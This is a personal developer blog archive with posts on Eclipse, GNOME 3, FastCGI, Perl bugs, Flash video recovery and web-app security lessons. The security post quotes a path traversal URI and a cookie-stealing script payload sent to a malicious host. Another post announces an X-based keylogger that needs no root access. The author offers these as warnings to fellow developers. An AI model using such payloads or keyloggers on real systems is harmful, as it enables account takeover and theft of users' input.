I blog about anything I find interesting, and since I have a lot of varied interests, my blog entries are kind of all over the place. You can browse my tags to sort them by topic and see which ones I frequently write about, or the archive has a complete history of my posts, dating back to 2008!
Besides my blog, I have pages for my creative projects, which are linked to on the navigation bar.
I write a lot about Linux and Android, Minecraft, and I like to rant about stuff. Generally anything that makes me curious. Also check out my Bookmarks for all sorts of cool websites about various topics I'm interested in.
For the geeks: this website respects your privacy and doesn't run any third party ads or analytics. This site speaks HTTP and doesn't require any JavaScript to work.
Thoughts on Eclipse IDEI hate it.
I have to use Eclipse because my current project at work is a Java project, with a massive amount of source code, and I have no idea how I'd compile and run the project except with Eclipse. Also, there's a significant amount of source code managed by CVS in a hundred different projects, and authentication is made complicated by a VPN and I have no intentions of trying to manage CVS via command line.
Eclipse creates more work for me just by being Eclipse. The CVS system on it is broken, and I frequently get CVS conflicts on files that I didn't even touch between updates, which cause syntax errors, some of which aren't immediately obvious (sometimes they cause runtime errors instead of compile-time errors).
Then, Eclipse likes to just crash from time to time with no explanation. I ended up jury-rigging a chain of shell scripts just to start Eclipse to try to minimize how often it crashes, and catch the errors (if any) when it does.
Namely, I needed to use ulimit to increase the number of filehandles Eclipse can have to keep it from crashing. Only root can do this, though, and I don't want to run Eclipse as root, because I don't want new files coming in through CVS to be owned as root and make my job more difficult.
So, just to start Eclipse, I had to set up /etc/sudoers to not require a password to use sudo, and allow sudo to run without a TTY (these are both bad security practices, btw), and to sudo execute this script as root:
$ cat start_eclipse.sh #!/bin/bash # increase fileno limit ulimit -n 50000 sudo -u kirsle "./start_eclipse.pl" &This uses root only to increase the filehandle limit, then it switches to kirsle (my user) so nothing further runs as root, and runs start_eclipse.pl, a Perl script that attempts to catch errors when Eclipse goes down like a cheerleader at homecoming:
$ cat start_eclipse.pl
#!/usr/bin/perl -w
my $out = `./eclipse 2>&1`;
if ($? != 0) {
$out =~ s/\'/\\'/g;
system("zenity", "--info", "--text", $out);
}
Ugh. I strongly prefer a plain old text editor like vim or gedit.
I've been very sceptical about GNOME 3 and gnome-shell (as I've talked about here, here and here). So, I had jumped ship to XFCE a couple years ago and will not be a GNOME user in the foreseeable future.
Now that Fedora is finally shipping GNOME 3, though, the GNOME dev team has again impacted me in ways I wish they wouldn't.
The first impact of GNOME on the rest of the software ecosystem is that they moved to GTK+ 3.0 and everybody else is still catching up. How this affects XFCE?

Setting any custom theme in XFCE makes all GNOME apps look ugly because there is no matching GTK 3 theme. Oh well, you think, just don't run GNOME desktop apps in XFCE?
The problem is that Red Hat and Fedora drink so much of the GNOME kool-aid, that all their other apps that aren't GNOME specific are also using GTK 3. This includes: the Network Manager (seen in the screenshot), and all the PackageKit GUIs (for graphically installing updates). There are probably other things too. This means that, to use XFCE or basically anything besides GNOME, you have to deal with ugly themes on a lot of "core" Fedora GUIs.
This problem should hopefully go away in the next release or two of Fedora, as XFCE and other apps are updated to GTK 3. I just hope Firefox doesn't decide to make the switch too early, though... that would drive me nuts if Firefox started looking this ugly.
My temporary hack of a workaround is that I made a symlink for gtk-3.0 for my current theme that points to the default theme's gtk-3.0, so at least GTK 3 apps don't look ugly... but they still don't "fit in" with my GTK 2 apps.
This is all gone now.
Why? Oh, because GNOME Shell has its own volume control icon built right into the desktop GUI directly, and it therefore has no need for a Notification Area based applet anymore. Never mind that other desktop environments like XFCE would find such a thing useful. Now I'm forced to go back to the old school "Mixer" applet in XFCE, which is nowhere near as elegant as the GNOME volume control applet used to be.
I'm tired of this "the whole universe revolves around GNOME" mentality that the GNOME developers exhibit. Most other desktop environments play nice with each other, most try to follow Freedesktop.org standards, but GNOME... GNOME wants to be your desktop environment; it wants to be your entire operating system.
gnome-volume-control-applet to gnome-sound-applet, provided by the package control-center rather than gnome-media. Right-clicking the icon to go to the Sound Preferences brings up a GTK-3 GUI that includes a volume slider that goes to 150%.So all hope is not lost, yet.
With mod_perl, the Apache server would run its own built-in Perl interpreter which would be re-used between requests, so that the overhead of having to load the Perl interpreter for every request goes away.
I tested it on my dev server first, and got it all set up and then realized it doesn't work with mod_suexec. With mod_suexec, you can have multiple users on the web server who each have their own websites, and their Perl/CGI scripts will execute in the name of the user instead of as the global Apache user. So then, it makes permission handling easier: the Perl script can read and write files owned by the same user who owns the entire website. But, with mod_perl, the Apache user executes the Perl scripts and this causes problems.
So I found an alternative: FastCGI. It's black magic to me, but it works similarly to mod_perl (reusing the same Perl process for multiple requests), but it does work with mod_suexec. So, I've gotten Kirsle.net and Siikir.com to both use FastCGI now, and, well, both sites run a lot faster. :)
Every request still creates its own unique instance of the Siikir CMS object, but I did tweak my JsonDB plugin a bit for performance too: while every request has its own CMS object, the JsonDB plugin is always a singleton object--it is only initialized once, and then it is shared between every request. Also, it caches the DB documents when it reads them and keeps the cache in memory until the document changes on disk. So this helps tremendously with the file I/O problem on my server. Running the search page on Siikir.com gives results in less than 3 seconds, whereas before it would easily take 10 to 15 seconds.
I'm still keeping a lookout for new bugs that may emerge, though. I have to test and make sure the JSON document caching is working properly, for example. But for now everything seems to be working out pretty well. :)
Here are some of my anecdotes from the times when I've personally been bit by this, so that hopefully you won't repeat my mistakes and will be more aware of just how many ways users can try to get past your site's defenses.
My anecdote: I once wrote a super simple guestbook in Perl. It had three form fields: a name and an e-mail which were both single-line text boxes, and a textarea which took multiple lines of text. Guestbook entries were stored in a flat text file, with one line per entry, so it looked like this:
Dave|[email protected]|Hey, nice site! Mike|[email protected]|Hey, just leaving a guestbook entry!Obviously, I stripped all HTML code out from all the form fields, in order to protect myself against an XSS attack. But, I figured, the "name" and "email" are text boxes that can't have multiple lines, and so I only filtered multiple lines from the "message" (I substituted them with a "<br>" instead, after removing other HTML, so they would display with multiple lines on the "view guestbook" page).
How I got bit: One of those Dumb Submitter Bots found my guestbook and spammed every field on the page with their multiple-line junk mail including hundreds of links to sites that are sure to infect you with a virus.
So, my guestbook.txt started to look like this:
Dave|[email protected]|Hey, nice site! Mike|[email protected]|Hey, just leaving a guestbook entry! Rolex watches 80% off! [url=spam site 1]click here![/url] [url=spam site 2]click here![/url]|[email protected]|Rolex watches 80% off!<br><br>[url=spam site 1]click here![/url]...The result wasn't too bad though: just a few guestbook entries displayed on the page that shouldn't and made the page look broken.
Lessons learned: Never, NEVER trust your form inputs. Literally ANY type of data can be sent under ANY of your fields. To make it clear, even your <select> boxes aren't safe. You may think you limit your user to sending only one of a few options when they submit the form, but they can still easily submit anything else in that field.
/index.cgi?p=aboutMy site was coded to take this parameter and open a text file named "about.txt" to get the content of the page the user wanted, something along the lines of:
my $page = "./private/pages/" . $q->param("p") . ".txt";
One of my friends kindly broke this for me and told me what he did. What he did was linked to a page with a URI that looked more along the lines of this:
/index.cgi?p=../users/adminAnd so the file my site was opening was "./private/pages/../users/admin.txt", or, more canonically, "./private/users/admin.txt"; and so, he was able to download the private user information for my admin user, including the password (I don't think I even hashed my passwords back then, either). Bad!
Any user-supplied data that is going to be used to access the server filesystem should be thoroughly filtered. Nowadays I would use a regular expression like this:
$p =~ s/[^A-Za-z0-9\.\-]//g;Stripping out everything that isn't a number, letter, period or dash.
This is an unexpected vector of attack. User-Agents and Referers are just as easy for a malicious user to edit to anything they want as a form field. So, once I was viewing my User-Agent page and I got a JavaScript error in my browser. Investigating, there was a bit of broken JavaScript code on my page, inside my list of User-Agents!
It was along the lines of this:
<script>window.location = "http://something-malicious.ru/cookie.php?cookie= + document.cookie;</script>The
A great many web applications rely on the environment variable REMOTE_ADDR, which contains the remote user's IP address. Web apps log your IP along with the things you post on the site, so that if they need to ban you for spamming, they're able to ban you by your IP address.
But this breaks when you get proxy servers involved, because a proxy server requests your web app on behalf of numerous users on the other side, and if you ban the proxy server's IP address, you ban a lot of innocent users. So, a lot of proxy servers will send an "X-Forwarded-For" header to your server which contains the IP address of the user behind the proxy.
So, a lot of poorly coded web apps will prefer X-Forwarded-For instead of the REMOTE_ADDR, for example by using code like this:
my $ip = $ENV{HTTP_X_FORWARDED_FOR} || $ENV{REMOTE_ADDR};
But, X-Forwarded-For should be considered user-supplied information. A malicious user can set this header to anything they want, which means they can try embedding HTML code in it (so when your web forum shows the IP address to your admins, the HTML code executes instead), or they may merely fake their IP address with it (like setting it to the localhost address, 127.0.0.1).Anyway, I hope after reading this you'll keep in mind that the phrase "never trust your user" extends even to some pretty unusual places.
Well, that keylogger had its problems. Although it had a couple of pros in there too compared to my new keylogger. The problem it had was that it required you to have root privileges on the Linux system you run it on, because it needed to read from /dev/input/* devices directly, which only the root user has permission to do. It also needed you to figure out which device node to read from ahead of time. And finally, it didn't work on some types of keyboards (I only tested it with a USB keyboard but I've heard reports from others that it just doesn't work for them).
The only pro it had was that it would log keys at the hardware level, including on text mode terminals.
And so, the new keylogger does not require root privileges! The new keylogger relies on the X Window System, though, but this is the de facto windowing system on just about every Linux/Unix system out there today. This also means it will only log keys entered into graphical applications (for desktop *nix users though, this would log keys for just about everybody) so users in a text-mode terminal won't be logged.
One issue I ran into though is that the xinput test command seems to expect you to have a terminal (or TTY), i.e. that you run the command from a graphical terminal. So trying to read the output of this command in Perl caused some weird buffering issue, where the command wouldn't give any output until about 100 characters were typed. So, the script requires the IO::Pty::Easy module which creates a virtual TTY so that xinput believes you're running it from a real shell.
The new keylogger's source code can be found here. Have fun! :)
When run from a graphical terminal, the $DISPLAY environment variable is already set to your current X display, e.g. ":0.0". But when launched from a non-graphical environment, the script would need to set the value of $DISPLAY itself, in order for xinput to know which X server to connect to.
Well, maybe if the keylogger changes up the value of $DISPLAY to log from different X servers it may be able to cross the partitions set up by Qubes. I'll have to investigate this further. (6)
Today I learned the hard way that file handle names in Perl can conflict with package names of Perl modules.
I was adding emoticon support to my Siikir CMS ( :-) ), and so I had downloaded this open source Tango emoticon set that came with an emoticons.txt file that described what trigger texts correspond to each PNG image. So, I wanted to write a quick Perl script that would use the JSON module and convert this plain text emoticon list into a JSON file that the Siikir CMS could use.
For some slight backstory, Siikir uses JSON all over the place. The entire database system is using JSON, and so Siikir has a "JsonDB" plugin that manages all database access. It looks like this:
my $db = $self->Master->JsonDB->getDocument("users/by-name/kirsle");
Anyway, the JsonDB plugin creates a JSON object as follows:
$self->{json} = JSON->new->utf8->pretty();
This has always worked fine. But for some odd reason, my little Perl script that converted my emoticons to JSON for me was throwing this bizarre error message from the same constructor:
Can't locate object method "new" via package "IO::File" at mkjson.pl line 4.
This made no sense to me. What, was IO::File failing to load? So I add an explicit "use IO::File;" in my code (ordinarily, if JSON requires this module, it should've auto-loaded when I did "use JSON;", but something was wrong here). This turns the error message into this:
Can't locate object method "utf8" via package "GLOB" at mkjson.pl line 4.
WTF. I try to debug this weird error message in all the usual ways (like using Data::Dumper to dump the contents of %INC, and verify that the JSON.pm being loaded is the same one the Siikir CMS uses; it was). After running out of ideas, I scrapped using JSON.pm in this script and just hard-coded it to write JSON code to the output file directly.
Then it was time to create the Emoticons plugin for Siikir, which would be a centralized piece of code to render emoticons for every page that wants them. I couldn't use the JsonDB to manage the emoticons now, because each emoticon "theme" is supposed to keep its own "emoticons.json" file within itself, instead of putting them in my global database directory. So, Emoticons.pm needed to use its own JSON object.
I was bizarrely running into the same dumb error messages in my Emoticons plugin too. I thought for a minute that maybe, the environment of my bash terminal running my small script was different than the Apache server's environment, because my JsonDB plugin never threw these sorts of errors. But now my Emoticons plugin was throwing errors just like my small script was!
Well, here would be the full source of my small script (I added in the exit 1 right after the JSON constructor line just to test the JSON line without the chance of running the entire script again should the error miraculously disappear):
#!/usr/bin/perl -w
use strict;
use warnings;
use JSON;
use Data::Dumper;
#die Dumper(\%INC);
my $json = JSON->new->utf8->pretty();
exit 1;
open (EMO, "emoticons.txt");
open (JSON, ">emoticons.json");
print JSON "{\n"
. "\tname: 'Tango',\n"
. "\tsource: 'http://digsbies.org/site/content/project/tango-emoticons-big-pack',\n"
. "\tmap: {\n";
while (my $line = <EMO>) {
chomp $line;
$line =~ s/[\x0D\x0A]+//g;
next unless length $line;
my ($img,@codes) = split(/\s+/, $line);
my @escaped;
foreach my $c (@codes) {
$c =~ s/\'/\\'/g;
push (@escaped, $c);
}
my $escaped = join(", ", map { qq{'$_'} } @escaped);
print JSON "\t\t\"$img\": [ $escaped ],\n";
}
print JSON "\t}\n}";
close (JSON);
close (EMO);
See the problem? Apparently, because I had named my output filehandle "JSON", this was conflicting with the package named JSON. If I cut out all of the code after the "exit 1", the error went away and the code would compile and run just fine. The same problem occurred in my Emoticons plugin because I was using "JSON" as the filehandle name when reading the JSON text from disk. Changing the name for the filehandle fixed my problem.
My JsonDB module used the names READ and WRITE for its filehandles, which is why this problem didn't occur there.
So, apparently, filehandles must share the same namespace as packages. The annoying thing is that the errors given are completely misleading. :(
* There's an admin GUI for reconfiguring the site's plugins (not useful for end users)
* All photo thumbnails are now square shaped. I'm using the jQuery Jcrop plugin for this.
* Comments on everything by a guest user now supports Facebook Graph API to login with Facebook.
These changes are now live on both sites. Also, the web blog and photo commenting code is live on Siikir now too (but blogs are still for admins only until I work out a safe way to restrict HTML for the regular users).
Everybody's existing photos were automatically cropped down. New photos uploaded get cropped automatically, but the user is immediately given the option to change the thumbnail himself. You can also re-crop the photo at any time from your photo view page.
The old (but still the current) version of the Adobe Flash plugin (10.2) would simply save all Flash videos (.flv files) in /tmp with names like "/tmp/Flash########" where the #'s are random numbers and letters. You could simply buffer a video on YouTube or any other video hosting site, then go to /tmp in your file browser and copy these files somewhere else. They typically get deleted when Flash exits.
The new version of the flash plugin (10.3) tries to be a little more clever. It still creates the files under /tmp, but then it deletes them immediately while still keeping them open. In Linux, if an opened file is deleted, the OS postpones deletion of the file until the process using it lets it go. So the file can't be seen when you look in /tmp, but the flash plugin can still use it until it's done with it.
So how do you get the FLV files from it now?
1) Get the process ID of the flash plugin
$ ps aux | grep flash kirsle 3324 3.3 1.5 281488 44716 ? Sl 12:01 10:41 /usr/lib/xulrunner-2/plugin-container /home/kirsle/.mozilla/plugins/libflashplayer.so -grebase /usr/lib/xulrunner-2 -appbase /usr/lib/firefox-4 3164 true plugin2) Look at the process's open file descriptors in /proc
$ cd /proc/3324/fd3) List the files to find the FLV file (it will be a symbolic link to a "deleted" /tmp/Flash* file)
$ ls -hal | grep Flash lr-x------ 1 kirsle kirsle 64 Apr 5 12:01 17 -> /tmp/FlashXX9ew4CF (deleted)4) Copy it (by ID) somewhere else
$ cp 17 ~/videoname.flvEasy. One could trivially write a shell script that does this automatically too.
This method should work for the foreseeable future, unless Adobe finds some really clever way to stop this, like encrypting video files somehow, or holding them completely in RAM (not likely because some video files can be pretty large). Processes can't hide anything under /proc. :)
More info about /proc.
UPDATE (May 17 2011): I've written a quick Perl script that copies all active Flash videos to your home directory. It doesn't care about the process name; it just loops through all PIDs in /proc, looking for any that owns a "/tmp/Flash*" name, and copies them to $HOME. It works even when you have multiple videos buffered at the same time.
Download it from: sh.kirsle.net/flashget.
This method can also work for Google Chrome (the above was for Firefox/other browsers that use the old Flash plugin system). In Chrome, the Pepper API is used for the Flash plugin instead.
1) Get the PID of the Pepper plugin for Flash
$ ps aux | grep ppapi noah 14152 25.1 1.4 980444 87828 ? Sl 15:37 0:05 /opt/google/chrome/chrome --type=ppapi --channel=13618.24.1890984534 --ppapi-flash-args --lang=en-US2) Get into this PID's file descriptors
*NOTE:* This one requires root access, unlike for the Firefox instructions above.
$ sudo -i # cd /proc/14152/fd # ls -hal [...cut...] 24 -> /home/noah/.config/google-chrome/Default/Pepper Data/Shockwave Flash/.com.google.Chrome.p9GBU8 (deleted)Look for the file descriptor that points to a "deleted" Flash file (in this example, it's file descriptor #24).
3) Copy it somewhere else
# cp 24 ~your_user/24.flv # chown your_user:your_user ~your_user/24.flvSo, the process is similar for doing it for Firefox, except:
ppapi process instead of the plugin-container or libflashplayer.so/root instead of your main user's home folder).
It is now running on the same code that Siikir runs on. I did this for a few reasons:
/blog.html?u=kirsle&id=114 you get nicer looking URLs like /blog/kirsle/kirsle-cms-upgrade.All the old links to old pages on kirsle.net will now automatically redirect to their new locations.
Microsoft STILL doesn't get it!
It appears that IE 9 now, finally supports rounded borders via CSS (border-radius), and they finally support the box-shadow in CSS too (adding shadows or glows around a block-level element like a div). But know what they still don't support? text-shadow - adding shadows or glows to text.
So, Kirsle.net looks a bit nicer on IE 9--because the round borders on my site's panels works now. But the glowy effect I have behind my headers doesn't show up. How could Microsoft finally add box-shadow support but not add text-shadow?
Oh, and that border-radius support? It seems that it only works when all four corners have a radius. If you only want a radius on 1, 2 or 3 corners and leave the rest square, IE 9 won't play ball. All corners are square in this case.
This is far from the promise that "Internet Explorer 9 will be a modern HTML 5 capable browser just like all the other ones out there that don't suck."
Microsoft just needs to throw in the damn towel already. They are horrible at making web browsers. Give up already.
0.0020s.